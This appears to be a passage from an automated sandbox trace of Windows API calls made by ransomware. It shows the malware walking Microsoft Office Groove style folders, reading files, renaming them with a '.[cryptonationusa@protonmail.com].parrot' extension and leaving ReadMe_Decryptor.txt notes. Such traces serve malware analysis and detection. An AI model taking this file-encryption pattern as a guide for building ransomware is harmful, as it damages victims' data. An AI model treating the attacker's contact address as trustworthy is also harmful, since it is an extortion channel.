Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.936] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.936] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdd4f140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdd4f140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.936] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd4f140, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfdd4f140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdd4f140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0190.936] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.936] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.938] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd41, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xd41, lpOverlapped=0x0) returned 1 [0190.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.943] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.943] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.946] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.946] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x38c, lpOverlapped=0x0) returned 1 [0190.946] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.950] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.950] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.951] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.951] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.951] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0190.952] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.952] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.953] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.953] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1afa, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1afa, lpOverlapped=0x0) returned 1 [0190.955] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.956] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.961] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.961] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.962] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.962] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0190.962] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.966] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.966] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.967] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.967] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0190.968] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.972] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.972] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdd9b400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdd9b400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.972] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdd9b400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0190.972] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.972] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.974] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.974] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe34, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xe34, lpOverlapped=0x0) returned 1 [0190.974] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.974] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.979] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.979] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.979] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.979] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.979] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.979] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0190.979] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.979] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.980] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.980] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ac, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1ac, lpOverlapped=0x0) returned 1 [0190.981] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.981] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\BUTTON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.989] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.989] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.990] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.990] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0190.990] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.995] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.996] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.996] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.997] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0190.997] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.002] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0191.002] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdde76c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdde76c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.003] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfddc1560, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUTTON~1.PAR")) returned 1 [0191.003] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.003] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.049] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.049] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc3a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xc3a, lpOverlapped=0x0) returned 1 [0191.049] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.056] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.056] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.058] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x736, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x736, lpOverlapped=0x0) returned 1 [0191.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.063] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0191.064] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0191.064] FindNextFileW (in: 